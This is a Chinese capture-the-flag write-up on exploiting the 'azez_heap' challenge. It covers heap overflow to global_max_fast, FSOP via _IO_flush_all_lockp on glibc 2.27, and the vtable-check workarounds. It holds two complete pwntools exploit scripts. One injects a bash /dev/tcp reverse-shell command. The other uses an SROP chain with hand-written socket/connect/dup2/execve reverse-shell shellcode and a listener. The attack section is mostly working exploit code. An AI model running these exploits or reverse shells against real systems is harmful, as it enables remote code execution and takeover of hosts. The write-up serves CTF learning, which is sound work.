本次比赛是dasctf6月赛,学到了很多东西,感谢
1.首先着重记录一下azez_heap这个题目,剩下的题目放在另一篇博客
知识点:
- _IO_flush_all_lockp 触发条件
- 反向shell的利用
分析:
checksec:
保护全开,毋庸置疑
通过ida分析可以确定程序的唯一漏洞点在edit里面,可以控制下一个堆块的fd和bk
add里面size可以申请到0x2333已经很大了,根据以往的做题经验可以想到要打global_max_fast,而且堆块使用calloc分配,我们知道calloc不会取tcache当中的块,由此更确定了我们的想法
在show里面有这样一个过程
由此我们的想法就明确了:
- 通过show函数泄露libc,heap地址
- 通过堆溢出打global_max_fast接着打io_list_all
- 进行
fsop(后面发现会失败) - 任意申请堆块触发
fsop
首先第一步:
add(0x500) #为了后面泄露地址
add(0)
free(0)
add(0x600) #此时0x500块进入largebin中带有libc和heap地址
show(1)
第二步也很简单,利用UnsortedBinAttrack来完成,到了后面进行fsop的时候发现失败了,我们知道fsop的核心代码是通过触发_IO_fllush_all_lockp来实现的,通过源码对比发现在libc2.27以上的版本中abort函数中已经不再使用fllush函数了,这就意味着我们无法通过触发异常来进行fsop
libc2.23:
libc2.27往上:
而我们知道触发_IO_fllush_all_lockp不止触发异常这一条路径:
- libc执行abort函数时
- 程序执行exit函数时
- 程序从main函数返回时
当然我们知道在libc2.24往上的版本中,加了vtable检测,而过检测有以下几种途径,因为一开始我的想法是过一下检测机制 打_IO_2_1_stdout,在vtable填上一个堆地址,然后过一下vtable检测使其执行vtable地址中的函数
来自raycp大佬的博客:
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
return;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
return;
}
...
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
我们进入了这个函数就意味着我们的vtable已经不合法了因此:
- 使vtable合法即vtable的范围在:__start___libc_IO_vtables~__stop___libc_IO_vtables
- flag == &_IO_vtable_check
- _dl_open_hook != NULL(仅限制在libc2.24版本中)
第一种方法不可行因为我们只能往任意地址写一个堆地址
第二种方法不可行,因为flag不可控
第三种方法不可行,因为该题libc为2.27
由此这种方法排除
那我们只能返回来看触发_IO_flush_all_lockp了,我们知道在程序退出的时候会触发,但是在退出时把流都关闭了
这意味着即使我们获得了shell也不能完成交互
这里就涉及到了反向shell的知识了,我一开的思路是进行反向shellcode,本地通过了,远程打不通,后面请教了一下fmyy师傅,发现是我的ip地址没有设置对,非常感谢fmyy师傅的耐心解释,经过fmyy师傅的测试,发现我的想法麻烦了,只要在setcontext的地方填入system,然后在参数位置填入反弹shell的参数就可以完成反弹shell的操作,反弹shell网上的解释已经很详细了,需要注意的是,反弹shell的ip:port尽量填服务器的地址,并在服务器的防火请上开一个端口,并且跑脚本的地方尽量不在虚拟机中进行,可以在wsl或者服务器上跑,因为延迟高的话会丢包导致利用失败
给出脚本:
exp1:
在服务器上:
9999根据自己服务器的端口改变
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
binary = 'azez_heap'
elf = ELF('azez_heap')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "183.129.189.60"
port = 10035
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla("please enter your choice:",str(idx))
def add(size):
cmd(1)
sla("Can U tell me the len of note?\n",str(size))
def edit(idx,payload):
cmd(2)
sla("Which note U want to fill in?\n",str(idx))
sa("Hey,Plz input U2 note\n",payload)
def free(idx):
cmd(3)
sla("Which note U want to del?\n",str(idx))
def show(idx):
cmd(4)
sla("Which note U want to view?\n",str(idx))
add(0x500)
add(0)
free(0)
add(0x600)
show(1)
libc_base = l64()-0x3ec0d0
lg("libc_base",libc_base)
l64()
heap_addr = u64(p.recv(8)[2:].ljust(8,"\x00"))-0x250
lg("heap_addr",heap_addr)
free_hook = libc_base+libc.sym["__free_hook"]
io_list = 0x3ebca0+libc_base
maxf = 0x3ed940+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = libc.search("/bin/sh").next()+libc_base
sys_addr = libc.sym["system"]+libc_base
addr = 0x3ec780+libc_base+0x8
o_g = [0x4f2c5,0x4f322,0x10a38c]
one = o_g[2]+libc_base
#--------------------------------------------------
payload = p64(0)*2
payload += p64(0)+p64(1)
payload += p64(0)+p64(heap_addr+0xef0)
payload = payload.ljust(0xc8,"\x00")
payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
payload += "bash -c 'sh -i &>/dev/tcp/ip/port 0>&1'"#这里的ip和port填入你服务器的地址和端口
payload = payload.ljust(0x1438,"\x00")
payload += p64(0x501)+p64(0)+p64(maxf-0x10)
#---------------------------------------------------
add(0x1438)#2
add(0x4f8)
add(0x4f8)
free(3)
edit(2,payload)
add(0x4f8)
free(2)
# gdb.attach(p)
cmd(5)
p.interactive()
服务器效果:
exp2:这个exp的shellcode参考了blog.eonew.cn/archives/1029,本地测试通过,远程失败
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
#from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
binary = 'azez_heap'
elf = ELF('azez_heap')
libc = ELF("./libc.so.6")
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
# p=process(binary,env={"LD_PRELOAD":"./libc-2.27.so"})
else:
host = "183.129.189.60"
port = 10035
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
magic = [0x3c4b10,0x3c67a8,0x846c0,0x45390]#malloc,free,realloc,system
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
def cmd(idx):
sla("please enter your choice:",str(idx))
def add(size):
cmd(1)
sla("Can U tell me the len of note?\n",str(size))
def edit(idx,payload):
cmd(2)
sla("Which note U want to fill in?\n",str(idx))
sa("Hey,Plz input U2 note\n",payload)
def free(idx):
cmd(3)
sla("Which note U want to del?\n",str(idx))
def show(idx):
cmd(4)
sla("Which note U want to view?\n",str(idx))
add(0x500)
add(0)
free(0)
add(0x600)
show(1)
libc_base = l64()-0x3ec0d0
lg("libc_base",libc_base)
l64()
heap_addr = u64(p.recv(8)[2:].ljust(8,"\x00"))-0x250
lg("heap_addr",heap_addr)
free_hook = libc_base+libc.sym["__free_hook"]
io_list = 0x3ebca0+libc_base
maxf = 0x3ed940+libc_base
jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
sh_addr = libc.search("/bin/sh").next()+libc_base
sys_addr = libc.sym["system"]+libc_base
syscall = 0x00000000000d2975+libc_base
pop_rdi = 0x000000000002155f+libc_base
pop_rsi = 0x0000000000023e6a+libc_base
pop_rdx = 0x0000000000001b96+libc_base
pop_rax = 0x00000000000439c8+libc_base
jmp_rsp = 0x0000000000002b1d+libc_base
addr = 0x3ec780+libc_base+0x8
o_g = [0x4f2c5,0x4f322,0x10a38c]
one = o_g[2]+libc_base
gets = libc_base+libc.sym["gets"]
#--------------------------------------------------
# payload = p64(0)*2
# payload += p64(0)+p64(1)
# payload += p64(0)+p64(sh_addr)
# payload = payload.ljust(0xc8,"\x00")
# payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
# payload = payload.ljust(0x1438,"\x00")
# payload += p64(0x501)+p64(0)+p64(maxf-0x10)
#---------------------------------------------------
setcontext = 0x520a5+libc_base
# # free_hook1 = free_hook&0xfffffffffffff000
payload = p64(0)*2
payload += p64(0)+p64(1)
payload += p64(0)+p64(heap_addr+0xef0)
payload = payload.ljust(0xc8,"\x00")
payload += p64(jump-0x8)+p64(0)+p64(setcontext)
frame = SigreturnFrame()
frame.rdi = heap_addr
frame.rsi = 0x2000
frame.rdx = 7
frame.rsp = heap_addr+0xef0+0xd0+0x28
frame.rip = pop_rax
fr = str(frame)
shellcode = asm('''
mov rdi, 2
mov rsi, 1
mov rdx, 0
mov rax, 41 ;// SYS_socket
syscall
mov rdi, rax
mov rax, 0x0100007fd2040002
push rax
mov rsi, rsp
mov rdx, 16
mov rax, 42 ;// SYS_connect
syscall
push rax
mov rdi, rax
mov rsi, 0
mov rax, 33 ;// SYS_dup2
syscall
pop rdi
mov rsi, 1
mov rax, 33 ;// SYS_dup2
syscall
mov rax,0x0068732f6e69622f
push rax
mov rdi,rsp
mov rax,59
mov rsi,0
mov rdx,0
syscall
''')
payload = payload+fr+p64(10)+p64(syscall)+p64(jmp_rsp)+(shellcode)
# print str(payload)
payload = payload.ljust(0x1438,"\x00")
payload += p64(0x501)+p64(0)+p64(maxf-0x10)
# # #--------------------------------------------------
add(0x1438)#2
add(0x4f8)
add(0x4f8)
free(3)
edit(2,payload)
add(0x4f8)
free(2)
# gdb.attach(p,"b _IO_flush_all_lockp\n")
ru("please enter your choice:")
server = listen(1234)
p.sendline("5")
reverse_sh = server.wait_for_connection()
reverse_sh.interactive()
效果:
小结:
感谢fmyy师傅,通过这个题目学到了很多
参考: